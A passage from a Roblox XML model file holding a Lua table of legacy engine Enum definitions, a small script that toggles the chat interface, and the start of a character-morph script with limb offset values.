 &quot;Always&quot;,
 &quot;Skip2&quot;,
 &quot;Skip4&quot;,
 &quot;Skip8&quot;,
 &quot;Skip16&quot;,
 [0] = &quot;DefaultAuto&quot;
 }
 },
 MoveState = {
 Name = &quot;MoveState&quot;,
 EnumItems = {
 &quot;Coasting&quot;,
 &quot;Pushing&quot;,
 &quot;Stopping&quot;,
 &quot;AirFree&quot;,
 [0] = &quot;Stopped&quot;
 }
 },
 SwipeDirection = {
 Name = &quot;SwipeDirection&quot;,
 EnumItems = {
 &quot;Left&quot;,
 &quot;Up&quot;,
 &quot;Down&quot;,
 [0] = &quot;Right&quot;
 }
 },
 Axis = {
 Name = &quot;Axis&quot;,
 EnumItems = {
 &quot;Y&quot;,
 &quot;Z&quot;,
 [0] = &quot;X&quot;
 }
 },
 WaterForce = {
 Name = &quot;WaterForce&quot;,
 EnumItems = {
 &quot;Small&quot;,
 &quot;Medium&quot;,
 &quot;Strong&quot;,
 &quot;Max&quot;,
 [0] = &quot;None&quot;
 }
 },
 InputType = {
 Name = &quot;InputType&quot;,
 EnumItems = {
 &quot;LeftTread&quot;,
 &quot;RightTread&quot;,
 &quot;Steer&quot;,
 &quot;Throtle&quot;,
 [6] = &quot;UpDown&quot;,
 [7] = &quot;Action1&quot;,
 [8] = &quot;Action2&quot;,
 [9] = &quot;Action3&quot;,
 [10] = &quot;Action4&quot;,
 [11] = &quot;Action5&quot;,
 [12] = &quot;Constant&quot;,
 [13] = &quot;Sin&quot;,
 [0] = &quot;NoInput&quot;
 }
 },
 LeftRight = {
 Name = &quot;LeftRight&quot;,
 EnumItems = {
 &quot;Center&quot;,
 &quot;Right&quot;,
 [0] = &quot;Left&quot;
 }
 },
 TweenStatus = {
 Name = &quot;TweenStatus&quot;,
 EnumItems = {
 &quot;Completed&quot;,
 [0] = &quot;Canceled&quot;
 }
 },
 PartType = {
 Name = &quot;PartType&quot;,
 EnumItems = {
 &quot;Block&quot;,
 &quot;Cylinder&quot;,
 [0] = &quot;Ball&quot;
 }
 },
 PriorityMethod = {
 Name = &quot;PriorityMethod&quot;,
 EnumItems = {
 &quot;AccumulatedError&quot;,
 &quot;FIFO&quot;,
 [0] = &quot;LastError&quot;
 }
 },
 FormFactor = {
 Name = &quot;FormFactor&quot;,
 EnumItems = {
 &quot;Brick&quot;,
 &quot;Plate&quot;,
 &quot;Custom&quot;,
 [0] = &quot;Symmetric&quot;
 }
 },
 ChatMode = {
 Name = &quot;ChatMode&quot;,
 EnumItems = {
 &quot;TextAndMenu&quot;,
 [0] = &quot;Menu&quot;
 }
 },
 InOut = {
 Name = &quot;InOut&quot;,
 EnumItems = {
 &quot;Inset&quot;,
 &quot;Center&quot;,
 [0] = &quot;Edge&quot;
 }
 },
 CellMaterial = {
 Name = &quot;CellMaterial&quot;,
 EnumItems = {
 &quot;Grass&quot;,
 &quot;Sand&quot;,
 &quot;Brick&quot;,
 &quot;Granite&quot;,
 &quot;Asphalt&quot;,
 &quot;Iron&quot;,
 &quot;Aluminum&quot;,
 &quot;Gold&quot;,
 &quot;WoodPlank&quot;,
 &quot;WoodLog&quot;,
 &quot;Gravel&quot;,
 &quot;CinderBlock&quot;,
 &quot;MossyStone&quot;,
 &quot;Cement&quot;,
 &quot;RedPlastic&quot;,
 &quot;BluePlastic&quot;,
 &quot;Water&quot;,
 [0] = &quot;Empty&quot;
 }
 },
 MeshType = {
 Name = &quot;MeshType&quot;,
 EnumItems = {
 &quot;Torso&quot;,
 &quot;Wedge&quot;,
 &quot;Sphere&quot;,
 &quot;Cylinder&quot;,
 &quot;FileMesh&quot;,
 &quot;Brick&quot;,
 &quot;Prism&quot;,
 &quot;Pyramid&quot;,
 &quot;ParallelRamp&quot;,
 &quot;RightAngleRamp&quot;,
 &quot;CornerWedge&quot;,
 [0] = &quot;Head&quot;
 }
 },
 CellOrientation = {
 Name = &quot;CellOrientation&quot;,
 EnumItems = {
 &quot;X&quot;,
 &quot;Z&quot;,
 &quot;NegX&quot;,
 [0] = &quot;NegZ&quot;
 }
 },
 TextYAlignment = {
 Name = &quot;TextYAlignment&quot;,
 EnumItems = {
 &quot;Center&quot;,
 &quot;Bottom&quot;,
 [0] = &quot;Top&quot;
 }
 },
 CreatorType = {
 Name = &quot;CreatorType&quot;,
 EnumItems = {
 &quot;Group&quot;,
 [0] = &quot;User&quot;
 }
 },
 FilterResult = {
 Name = &quot;FilterResult&quot;,
 EnumItems = {
 &quot;Rejected&quot;,
 [0] = &quot;Accepted&quot;
 }
 },
 UploadSetting = {
 Name = &quot;UploadSetting&quot;,
 EnumItems = {
 &quot;Ask&quot;,
 &quot;Always&quot;,
 [0] = &quot;Never&quot;
 }
 },
 PhysicsReceiveMethod = {
 Name = &quot;PhysicsReceiveMethod&quot;,
 EnumItems = {
 &quot;Interpolation&quot;,
 [0] = &quot;Direct&quot;
 }
 },
 D3DFORMAT = {
 Name = &quot;D3DFORMAT&quot;,
 EnumItems = {
 [27] = &quot;D3DFMT_R3G3B2&quot;,
 [31] = &quot;D3DFMT_A2B10G10R10&quot;,
 [75] = &quot;D3DFMT_D24S8&quot;,
 [62] = &quot;D3DFMT_X8L8V8U8&quot;,
 [77] = &quot;D3DFMT_D24X8&quot;,
 [63] = &quot;D3DFMT_Q8W8V8U8&quot;,
 [20] = &quot;D3DFMT_R8G8B8&quot;,
 [24] = &quot;D3DFMT_X1R5G5B5&quot;,
 [28] = &quot;D3DFMT_A8&quot;,
 [32] = &quot;D3DFMT_A8B8G8R8&quot;,
 [40] = &quot;D3DFMT_A8P8&quot;,
 [111] = &quot;D3DFMT_R16F&quot;,
 [64] = &quot;D3DFMT_V16U16&quot;,
 [80] = &quot;D3DFMT_D16&quot;,
 [112] = &quot;D3DFMT_G16R16F&quot;,
 [33] = &quot;D3DFMT_X8B8G8R8&quot;,
 [41] = &quot;D3DFMT_P8&quot;,
 [113] = &quot;D3DFMT_A16B16G16R16F&quot;,
 [21] = &quot;D3DFMT_A8R8G8B8&quot;,
 [25] = &quot;D3DFMT_A1R5G5B5&quot;,
 [29] = &quot;D3DFMT_A8R3G3B2&quot;,
 [67] = &quot;D3DFMT_A2W10V10U10&quot;,
 [83] = &quot;D3DFMT_D24FS8&quot;,
 [50] = &quot;D3DFMT_L8&quot;,
 [115] = &quot;D3DFMT_G32R32F&quot;,
 [100] = &quot;D3DFMT_VERTEXDATA&quot;,
 [116] = &quot;D3DFMT_A32B32G32R32F&quot;,
 [35] = &quot;D3DFMT_A2R10G10B10&quot;,
 [114] = &quot;D3DFMT_R32F&quot;,
 [51] = &quot;D3DFMT_A8L8&quot;,
 [117] = &quot;D3DFMT_CxV8U8&quot;,
 [70] = &quot;D3DFMT_D16_LOCKABLE&quot;,
 [22] = &quot;D3DFMT_X8R8G8B8&quot;,
 [26] = &quot;D3DFMT_A4R4G4B4&quot;,
 [30] = &quot;D3DFMT_X4R4G4B4&quot;,
 [71] = &quot;D3DFMT_D32&quot;,
 [110] = &quot;D3DFMT_Q16W16V16U16&quot;,
 [52] = &quot;D3DFMT_A4L4&quot;,
 [60] = &quot;D3DFMT_V8U8&quot;,
 [102] = &quot;D3DFMT_INDEX32&quot;,
 [101] = &quot;D3DFMT_INDEX16&quot;,
 [81] = &quot;D3DFMT_L16&quot;,
 [82] = &quot;D3DFMT_D32F_LOCKABLE&quot;,
 [73] = &quot;D3DFMT_D15S1&quot;,
 [79] = &quot;D3DFMT_D24X4S4&quot;,
 [0] = &quot;D3DFMT_UNKNOWN&quot;,
 [61] = &quot;D3DFMT_L6V5U5&quot;,
 [34] = &quot;D3DFMT_G16R16&quot;,
 [23] = &quot;D3DFMT_R5G6B5&quot;,
 [36] = &quot;D3DFMT_A16B16G16R16&quot;
 }
 },
 ReverbType = {
 Name = &quot;ReverbType&quot;,
 EnumItems = {
 &quot;GenericReverb&quot;,
 &quot;PaddedCell&quot;,
 &quot;Room&quot;,
 &quot;Bathroom&quot;,
 &quot;LivingRoom&quot;,
 &quot;StoneRoom&quot;,
 &quot;Auditorium&quot;,
 &quot;ConcertHall&quot;,
 &quot;Cave&quot;,
 &quot;Arena&quot;,
 &quot;Hangar&quot;,
 &quot;CarpettedHallway&quot;,
 &quot;Hallway&quot;,
 &quot;StoneCorridor&quot;,
 &quot;Alley&quot;,
 &quot;Forest&quot;,
 &quot;City&quot;,
 &quot;Mountains&quot;,
 &quot;Quarry&quot;,
 &quot;Plain&quot;,
 &quot;ParkingLot&quot;,
 &quot;SewerPipe&quot;,
 &quot;UnderWater&quot;,
 [0] = &quot;NoReverb&quot;
 }
 },
 ControlMode = {
 Name = &quot;ControlMode&quot;,
 EnumItems = {
 &quot;MouseLockSwitch&quot;,
 [0] = &quot;Classic&quot;
 }
 },
 CameraType = {
 Name = &quot;CameraType&quot;,
 EnumItems = {
 &quot;Attach&quot;,
 &quot;Watch&quot;,
 &quot;Track&quot;,
 &quot;Follow&quot;,
 &quot;Custom&quot;,
 &quot;Scriptable&quot;,
 [0] = &quot;Fixed&quot;
 }
 },
 Button = {
 Name = &quot;Button&quot;,
 EnumItems = {
 [32] = &quot;Jump&quot;,
 [8] = &quot;Dismount&quot;
 }
 },
 ChatStyle = {
 Name = &quot;ChatStyle&quot;,
 EnumItems = {
 &quot;Bubble&quot;,
 &quot;ClassicAndBubble&quot;,
 [0] = &quot;Classic&quot;
 }
 },
 EasingDirection = {
 Name = &quot;EasingDirection&quot;,
 EnumItems = {
 &quot;Out&quot;,
 &quot;InOut&quot;,
 [0] = &quot;In&quot;
 }
 },
 SpecialKey = {
 Name = &quot;SpecialKey&quot;,
 EnumItems = {
 &quot;Home&quot;,
 &quot;End&quot;,
 &quot;PageUp&quot;,
 &quot;PageDown&quot;,
 &quot;ChatHotkey&quot;,
 [0] = &quot;Insert&quot;
 }
 },
 JointType = {
 Name = &quot;JointType&quot;,
 EnumItems = {
 &quot;Weld&quot;,
 [6] = &quot;Rotate&quot;,
 [13] = &quot;None&quot;,
 [8] = &quot;RotateV&quot;,
 [3] = &quot;Snap&quot;,
 [9] = &quot;Glue&quot;,
 [7] = &quot;RotateP&quot;
 }
 },
 WaterDirection = {
 Name = &quot;WaterDirection&quot;,
 EnumItems = {
 &quot;X&quot;,
 &quot;NegY&quot;,
 &quot;Y&quot;,
 &quot;NegZ&quot;,
 &quot;Z&quot;,
 [0] = &quot;NegX&quot;
 }
 },
 Font = {
 Name = &quot;Font&quot;,
 EnumItems = {
 &quot;Arial&quot;,
 &quot;ArialBold&quot;,
 [0] = &quot;Legacy&quot;
 }
 },
 Style = {
 Name = &quot;Style&quot;,
 EnumItems = {
 &quot;BridgeStyleSupports&quot;,
 &quot;NoSupports&quot;,
 [0] = &quot;AlternatingSupports&quot;
 }
 },
 CenterDialogType = {
 Name = &quot;CenterDialogType&quot;,
 EnumItems = {
 &quot;UnsolicitedDialog&quot;,
 &quot;PlayerInitiatedDialog&quot;,
 &quot;ModalDialog&quot;,
 &quot;QuitDialog&quot;
 }
 },
 ActionType = {
 Name = &quot;ActionType&quot;,
 EnumItems = {
 &quot;Pause&quot;,
 &quot;Lose&quot;,
 &quot;Draw&quot;,
 &quot;Win&quot;,
 [0] = &quot;Nothing&quot;
 }
 },
 PacketPriority = {
 Name = &quot;PacketPriority&quot;,
 EnumItems = {
 &quot;HIGH_PRIORITY&quot;,
 &quot;MEDIUM_PRIORITY&quot;,
 &quot;LOW_PRIORITY&quot;,
 [0] = &quot;IMMEDIATE_PRIORITY&quot;
 }
 },
 FontSize = {
 Name = &quot;FontSize&quot;,
 EnumItems = {
 &quot;Size9&quot;,
 &quot;Size10&quot;,
 &quot;Size11&quot;,
 &quot;Size12&quot;,
 &quot;Size14&quot;,
 &quot;Size18&quot;,
 &quot;Size24&quot;,
 &quot;Size36&quot;,
 &quot;Size48&quot;,
 [0] = &quot;Size8&quot;
 }
 },
 UserInputType = {
 Name = &quot;UserInputType&quot;,
 EnumItems = {
 &quot;MouseButton2&quot;,
 &quot;MouseButton3&quot;,
 &quot;MouseWheel&quot;,
 &quot;MouseMovement&quot;,
 &quot;Touch&quot;,
 &quot;Keyboard&quot;,
 &quot;None&quot;,
 [0] = &quot;MouseButton1&quot;
 }
 },
 ThreadPoolConfig = {
 Name = &quot;ThreadPoolConfig&quot;,
 EnumItems = {
 &quot;Threads1&quot;,
 &quot;Threads2&quot;,
 &quot;Threads3&quot;,
 &quot;Threads4&quot;,
 [0] = &quot;Auto&quot;,
 [101] = &quot;PerCore1&quot;,
 [103] = &quot;PerCore3&quot;,
 [16] = &quot;Threads16&quot;,
 [102] = &quot;PerCore2&quot;,
 [104] = &quot;PerCore4&quot;,
 [8] = &quot;Threads8&quot;
 }
 },
 SoundType = {
 Name = &quot;SoundType&quot;,
 EnumItems = {
 &quot;Boing&quot;,
 &quot;Bomb&quot;,
 &quot;Break&quot;,
 &quot;Click&quot;,
 &quot;Clock&quot;,
 &quot;Slingshot&quot;,
 &quot;Page&quot;,
 &quot;Ping&quot;,
 &quot;Snap&quot;,
 &quot;Splat&quot;,
 &quot;Step&quot;,
 &quot;StepOn&quot;,
 &quot;Swoosh&quot;,
 &quot;Victory&quot;,
 [0] = &quot;NoSound&quot;
 }
 },
 PrismSides = {
 Name = &quot;PrismSides&quot;,
 EnumItems = {
 [6] = &quot;6&quot;,
 [8] = &quot;8&quot;,
 [3] = &quot;3&quot;,
 [20] = &quot;20&quot;,
 [5] = &quot;5&quot;,
 [10] = &quot;10&quot;
 }
 },
 LevelOfDetailSetting = {
 Name = &quot;LevelOfDetailSetting&quot;,
 EnumItems = {
 &quot;Medium&quot;,
 &quot;High&quot;,
 [0] = &quot;Low&quot;
 }
 },
 PacketReliability = {
 Name = &quot;PacketReliability&quot;,
 EnumItems = {
 &quot;UNRELIABLE_SEQUENCED&quot;,
 &quot;RELIABLE&quot;,
 &quot;RELIABLE_ORDERED&quot;,
 &quot;RELIABLE_SEQUENCED&quot;,
 [0] = &quot;UNRELIABLE&quot;
 }
 },
 SavedQualitySetting = {
 Name = &quot;SavedQualitySetting&quot;,
 EnumItems = {
 &quot;QualityLevel1&quot;,
 &quot;QualityLevel2&quot;,
 &quot;QualityLevel3&quot;,
 &quot;QualityLevel4&quot;,
 &quot;QualityLevel5&quot;,
 &quot;QualityLevel6&quot;,
 &quot;QualityLevel7&quot;,
 &quot;QualityLevel8&quot;,
 &quot;QualityLevel9&quot;,
 &quot;QualityLevel10&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 SizeConstraint = {
 Name = &quot;SizeConstraint&quot;,
 EnumItems = {
 &quot;RelativeXX&quot;,
 &quot;RelativeYY&quot;,
 [0] = &quot;RelativeXY&quot;
 }
 },
 Shadow = {
 Name = &quot;Shadow&quot;,
 EnumItems = {
 &quot;All&quot;,
 &quot;Off&quot;,
 &quot;CharacterOnly&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 FriendStatus = {
 Name = &quot;FriendStatus&quot;,
 EnumItems = {
 &quot;NotFriend&quot;,
 &quot;Friend&quot;,
 &quot;FriendRequestSent&quot;,
 &quot;FriendRequestReceived&quot;,
 [0] = &quot;Unknown&quot;
 }
 },
 PlayerChatType = {
 Name = &quot;PlayerChatType&quot;,
 EnumItems = {
 &quot;Team&quot;,
 &quot;Whisper&quot;,
 [0] = &quot;All&quot;
 }
 },
 Stuff = {
 Name = &quot;Stuff&quot;,
 EnumItems = {
 &quot;Faces&quot;,
 &quot;Hats&quot;,
 &quot;TShirts&quot;,
 &quot;Shirts&quot;,
 &quot;Pants&quot;,
 &quot;Gears&quot;,
 &quot;Torsos&quot;,
 &quot;LeftArms&quot;,
 &quot;RightArms&quot;,
 &quot;LeftLegs&quot;,
 &quot;RightLegs&quot;,
 &quot;Bodies&quot;,
 &quot;Costumes&quot;,
 [0] = &quot;Heads&quot;
 }
 },
 QualityLevel = {
 Name = &quot;QualityLevel&quot;,
 EnumItems = {
 &quot;Level01&quot;,
 &quot;Level02&quot;,
 &quot;Level03&quot;,
 &quot;Level04&quot;,
 &quot;Level05&quot;,
 &quot;Level06&quot;,
 &quot;Level07&quot;,
 &quot;Level08&quot;,
 &quot;Level09&quot;,
 &quot;Level10&quot;,
 &quot;Level11&quot;,
 &quot;Level12&quot;,
 &quot;Level13&quot;,
 &quot;Level14&quot;,
 &quot;Level15&quot;,
 &quot;Level16&quot;,
 &quot;Level17&quot;,
 &quot;Level18&quot;,
 &quot;Level19&quot;,
 &quot;Level20&quot;,
 &quot;Level21&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 PrivilegeType = {
 Name = &quot;PrivilegeType&quot;,
 EnumItems = {
 [0] = &quot;Banned&quot;,
 [10] = &quot;Visitor&quot;,
 [128] = &quot;Member&quot;,
 [255] = &quot;Owner&quot;,
 [240] = &quot;Admin&quot;
 }
 },
 Antialiasing = {
 Name = &quot;Antialiasing&quot;,
 EnumItems = {
 &quot;On&quot;,
 &quot;Off&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 AASamples = {
 Name = &quot;AASamples&quot;,
 EnumItems = {
 &quot;None&quot;,
 [4] = &quot;4&quot;,
 [8] = &quot;8&quot;
 }
 },
 VideoQualitySettings = {
 Name = &quot;VideoQualitySettings&quot;,
 EnumItems = {
 &quot;MediumResolution&quot;,
 &quot;HighResolution&quot;,
 [0] = &quot;LowResolution&quot;
 }
 },
 TickCountSampleMethod = {
 Name = &quot;TickCountSampleMethod&quot;,
 EnumItems = {
 &quot;Benchmark&quot;,
 &quot;Precise&quot;,
 [0] = &quot;Fast&quot;
 }
 },
 D3DDEVTYPE = {
 Name = &quot;D3DDEVTYPE&quot;,
 EnumItems = {
 &quot;D3DDEVTYPE_HAL&quot;,
 &quot;D3DDEVTYPE_REF&quot;,
 &quot;D3DDEVTYPE_SW&quot;,
 &quot;D3DDEVTYPE_NULLREF&quot;
 }
 },
 MembershipType = {
 Name = &quot;MembershipType&quot;,
 EnumItems = {
 &quot;BuildersClub&quot;,
 &quot;TurboBuildersClub&quot;,
 &quot;OutrageousBuildersClub&quot;,
 [0] = &quot;None&quot;
 }
 },
 UserInputState = {
 Name = &quot;UserInputState&quot;,
 EnumItems = {
 &quot;Change&quot;,
 &quot;End&quot;,
 &quot;None&quot;,
 [0] = &quot;Begin&quot;
 }
 },
 ExplosionType = {
 Name = &quot;ExplosionType&quot;,
 EnumItems = {
 &quot;Craters&quot;,
 &quot;CratersAndDebris&quot;,
 [0] = &quot;NoCraters&quot;
 }
 },
 DialogTone = {
 Name = &quot;DialogTone&quot;,
 EnumItems = {
 &quot;Friendly&quot;,
 &quot;Enemy&quot;,
 [0] = &quot;Neutral&quot;
 }
 },
 DialogPurpose = {
 Name = &quot;DialogPurpose&quot;,
 EnumItems = {
 &quot;Help&quot;,
 &quot;Shop&quot;,
 [0] = &quot;Quest&quot;
 }
 },
 AnimationPriority = {
 Name = &quot;AnimationPriority&quot;,
 EnumItems = {
 &quot;Movement&quot;,
 &quot;Action&quot;,
 [0] = &quot;Idle&quot;
 }
 },
 HandlesStyle = {
 Name = &quot;HandlesStyle&quot;,
 EnumItems = {
 &quot;Movement&quot;,
 [0] = &quot;Resize&quot;
 }
 },
 ButtonStyle = {
 Name = &quot;ButtonStyle&quot;,
 EnumItems = {
 &quot;RobloxButtonDefault&quot;,
 &quot;RobloxButton&quot;,
 [0] = &quot;Custom&quot;
 }
 },
 BodyPart = {
 Name = &quot;BodyPart&quot;,
 EnumItems = {
 &quot;Torso&quot;,
 &quot;LeftArm&quot;,
 &quot;RightArm&quot;,
 &quot;LeftLeg&quot;,
 &quot;RightLeg&quot;,
 [0] = &quot;Head&quot;
 }
 },
 CurrencyType = {
 Name = &quot;CurrencyType&quot;,
 EnumItems = {
 &quot;Robux&quot;,
 &quot;Tix&quot;,
 [0] = &quot;Default&quot;
 }
 },
 ChatColor = {
 Name = &quot;ChatColor&quot;,
 EnumItems = {
 &quot;Green&quot;,
 &quot;Red&quot;,
 [0] = &quot;Blue&quot;
 }
 },
 ErrorReporting = {
 Name = &quot;ErrorReporting&quot;,
 EnumItems = {
 &quot;Prompt&quot;,
 &quot;Report&quot;,
 [0] = &quot;DontReport&quot;
 }
 },
 PyramidSides = {
 Name = &quot;PyramidSides&quot;,
 EnumItems = {
 [3] = &quot;3&quot;,
 [4] = &quot;4&quot;,
 [5] = &quot;5&quot;,
 [6] = &quot;6&quot;,
 [8] = &quot;8&quot;,
 [10] = &quot;10&quot;,
 [20] = &quot;20&quot;
 }
 },
 Genre = {
 Name = &quot;Genre&quot;,
 EnumItems = {
 &quot;TownAndCity&quot;,
 &quot;Fantasy&quot;,
 &quot;SciFi&quot;,
 &quot;Ninja&quot;,
 &quot;Scary&quot;,
 &quot;Pirate&quot;,
 &quot;Adventure&quot;,
 &quot;Sports&quot;,
 &quot;Funny&quot;,
 &quot;WildWest&quot;,
 &quot;War&quot;,
 &quot;SkatePark&quot;,
 &quot;Tutorial&quot;,
 [0] = &quot;All&quot;
 }
 },
 Resolution = {
 Name = &quot;Resolution&quot;,
 EnumItems = {
 &quot;720x526&quot;,
 &quot;800x600&quot;,
 &quot;1024x600&quot;,
 &quot;1024x768&quot;,
 &quot;1280x720&quot;,
 &quot;1280x768&quot;,
 &quot;1152x864&quot;,
 &quot;1280x800&quot;,
 &quot;1360x768&quot;,
 &quot;1280x960&quot;,
 &quot;1280x1024&quot;,
 &quot;1440x900&quot;,
 &quot;1600x900&quot;,
 &quot;1600x1024&quot;,
 &quot;1600x1200&quot;,
 &quot;1680x1050&quot;,
 &quot;1920x1080&quot;,
 &quot;1920x1200&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 SurfaceConstraint = {
 Name = &quot;SurfaceConstraint&quot;,
 EnumItems = {
 &quot;Hinge&quot;,
 &quot;SteppingMotor&quot;,
 &quot;Motor&quot;,
 [0] = &quot;None&quot;
 }
 },
 EasingStyle = {
 Name = &quot;EasingStyle&quot;,
 EnumItems = {
 &quot;Sine&quot;,
 &quot;Back&quot;,
 &quot;Quad&quot;,
 &quot;Quart&quot;,
 &quot;Quint&quot;,
 &quot;Bounce&quot;,
 &quot;Elastic&quot;,
 [0] = &quot;Linear&quot;
 }
 },
 SurfaceType = {
 Name = &quot;SurfaceType&quot;,
 EnumItems = {
 &quot;Glue&quot;,
 &quot;Weld&quot;,
 &quot;Studs&quot;,
 &quot;Inlet&quot;,
 &quot;Universal&quot;,
 &quot;Hinge&quot;,
 &quot;Motor&quot;,
 &quot;SteppingMotor&quot;,
 &quot;Unjoinable&quot;,
 &quot;SmoothNoOutlines&quot;,
 [0] = &quot;Smooth&quot;
 }
 },
 TopBottom = {
 Name = &quot;TopBottom&quot;,
 EnumItems = {
 &quot;Center&quot;,
 &quot;Bottom&quot;,
 [0] = &quot;Top&quot;
 }
 },
 Status = {
 Name = &quot;Status&quot;,
 EnumItems = {
 &quot;Confusion&quot;,
 [0] = &quot;Poison&quot;
 }
 },
 NormalId = {
 Name = &quot;NormalId&quot;,
 EnumItems = {
 &quot;Top&quot;,
 &quot;Back&quot;,
 &quot;Left&quot;,
 &quot;Bottom&quot;,
 &quot;Front&quot;,
 [0] = &quot;Right&quot;
 }
 },
 SaveFilter = {
 Name = &quot;SaveFilter&quot;,
 EnumItems = {
 &quot;SaveGame&quot;,
 &quot;SaveAll&quot;,
 [0] = &quot;SaveWorld&quot;
 }
 },
 ConcurrencyModel = {
 Name = &quot;ConcurrencyModel&quot;,
 EnumItems = {
 &quot;Safe&quot;,
 &quot;Logical&quot;,
 &quot;Empirical&quot;,
 [0] = &quot;Serial&quot;
 }
 },
 SleepAdjustMethod = {
 Name = &quot;SleepAdjustMethod&quot;,
 EnumItems = {
 &quot;LastSample&quot;,
 &quot;AverageInterval&quot;,
 [0] = &quot;None&quot;
 }
 },
 GearGenreSetting = {
 Name = &quot;GearGenreSetting&quot;,
 EnumItems = {
 &quot;MatchingGenreOnly&quot;,
 [0] = &quot;AllGenres&quot;
 }
 },
 FramerateManagerMode = {
 Name = &quot;FramerateManagerMode&quot;,
 EnumItems = {
 &quot;On&quot;,
 &quot;Off&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 FriendRequestEvent = {
 Name = &quot;FriendRequestEvent&quot;,
 EnumItems = {
 &quot;Revoke&quot;,
 &quot;Accept&quot;,
 &quot;Deny&quot;,
 [0] = &quot;Issue&quot;
 }
 },
 FunctionalTestResult = {
 Name = &quot;FunctionalTestResult&quot;,
 EnumItems = {
 &quot;Warning&quot;,
 &quot;Error&quot;,
 [0] = &quot;Passed&quot;
 }
 },
 CellBlock = {
 Name = &quot;CellBlock&quot;,
 EnumItems = {
 &quot;VerticalWedge&quot;,
 &quot;CornerWedge&quot;,
 &quot;InverseCornerWedge&quot;,
 &quot;HorizontalWedge&quot;,
 [0] = &quot;Solid&quot;
 }
 },
 CameraMode = {
 Name = &quot;CameraMode&quot;,
 EnumItems = {
 &quot;LockFirstPerson&quot;,
 [0] = &quot;Classic&quot;
 }
 },
 Material = {
 Name = &quot;Material&quot;,
 EnumItems = {
 [1040] = &quot;CorrodedMetal&quot;,
 [1056] = &quot;DiamondPlate&quot;,
 [1536] = &quot;Ice&quot;,
 [1072] = &quot;Foil&quot;,
 [256] = &quot;Plastic&quot;,
 [512] = &quot;Wood&quot;,
 [800] = &quot;Slate&quot;,
 [816] = &quot;Concrete&quot;,
 [1280] = &quot;Grass&quot;
 }
 },
 GraphicsMode = {
 Name = &quot;GraphicsMode&quot;,
 EnumItems = {
 &quot;Automatic&quot;,
 [3] = &quot;Direct3D&quot;,
 [4] = &quot;OpenGL&quot;,
 [5] = &quot;NoGraphics&quot;
 }
 },
 BinType = {
 Name = &quot;BinType&quot;,
 EnumItems = {
 &quot;GameTool&quot;,
 &quot;Grab&quot;,
 &quot;Clone&quot;,
 &quot;Hammer&quot;,
 [0] = &quot;Script&quot;
 }
 },
 FrameStyle = {
 Name = &quot;FrameStyle&quot;,
 EnumItems = {
 &quot;ChatBlue&quot;,
 &quot;RobloxSquare&quot;,
 &quot;RobloxRound&quot;,
 &quot;ChatGreen&quot;,
 &quot;ChatRed&quot;,
 [0] = &quot;Custom&quot;
 }
 },
 TextXAlignment = {
 Name = &quot;TextXAlignment&quot;,
 EnumItems = {
 &quot;Right&quot;,
 &quot;Center&quot;,
 [0] = &quot;Left&quot;
 }
 },
 KeywordFilterType = {
 Name = &quot;KeywordFilterType&quot;,
 EnumItems = {
 &quot;Exclude&quot;,
 [0] = &quot;Include&quot;
 }
 },
 NameOcclusion = {
 Name = &quot;NameOcclusion&quot;,
 EnumItems = {
 &quot;EnemyOcclusion&quot;,
 &quot;OccludeAll&quot;,
 [0] = &quot;NoOcclusion&quot;
 }
 },
 CameraInputMode = {
 Name = &quot;CameraInputMode&quot;,
 EnumItems = {
 &quot;Build&quot;,
 [0] = &quot;Classic&quot;
 }
 },
 PhysicsSendMethod = {
 Name = &quot;PhysicsSendMethod&quot;,
 EnumItems = {
 &quot;ErrorComputation2&quot;,
 &quot;RoundRobin&quot;,
 &quot;TopNErrors&quot;,
 [0] = &quot;ErrorComputation&quot;
 }
 }
}
----------------
-- GLOBAL SET --
----------------
-- Make it available to _G

_G.qAPI = lib</ProtectedString>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX65">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">mute</string>
					<ProtectedString name="Source">local trueorfalse = script.Val.Value
pcall(function() game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, trueorfalse) end)
wait(5)
script:Remove()</ProtectedString>
				</Properties>
				<Item class="BoolValue" referent="RBX66">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Val</string>
						<bool name="Value">false</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX67">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">gubby</string>
					<ProtectedString name="Source">-- 2012-style LocalScript. Define ALL part offsets (including root) at the top before running.
-- FIXED: Limbs positioned with offsets but still animate using Motor joints (2010-style)

local HeadOffset       = Vector3.new( 0,   0.72,  -0.79)
local EarROffset       = Vector3.new(-0.23, -1.48,  0.54)
local EarLOffset       = Vector3.new( 0.23, -1.48,  0.54)

local FakeTorsoOffset  = Vector3.new(0,     0,     0)

local TailOffset       = Vector3.new(0,   -0.54, -1.04)
local BunsLOffset      = Vector3.new(0.41, -0.03, -0.57)
local BunsROffset      = Vector3.new(-0.43, -0.01, -0.57)

local LeftArmOffset    = Vector3.new( 0.46,  -0.59, -0.61)
local RightArmOffset   = Vector3.new(-0.46,  -0.59, -0.61)
local LeftLegOffset    = Vector3.new( 0.46,  -0.59,  0.61)
local RightLegOffset   = Vector3.new(-0.46,  -0.59,  0.60)

-- Limb rotations in degrees (X = pitch, Y = yaw, Z = roll)
local LeftArmRotation  = Vector3.new(0, 90, 0)   -- Rotation for left arm
local RightArmRotation = Vector3.new(0, 90, 0)   -- Rotation for right arm  
local LeftLegRotation  = Vector3.new(0, 90, 0)   -- Rotation for left leg
local RightLegRotation = Vector3.new(0, 90, 0)   -- Rotation for right leg

local LimbSize         = Vector3.new(1,1,1)
local BunsSize         = Vector3.new(1,1,1)
local TailSize         = Vector3.new(0.696, 0.348, 0.348)

local RootOffset       = Vector3.new(0,  -0.9,  0) --humanoidrootpart
local TorsoOffset     = Vector3.new(0, -0.8, 0) --torso obv
--   ? X=right, Y=up, Z=forward.  
--   Negative Y will drop the RootPart down.

-- =================================

local players = game:GetService(&quot;Players&quot;)
local player  = players.LocalPlayer
local char    = player.Character or player.CharacterAdded:Wait()

-- prevent re-run
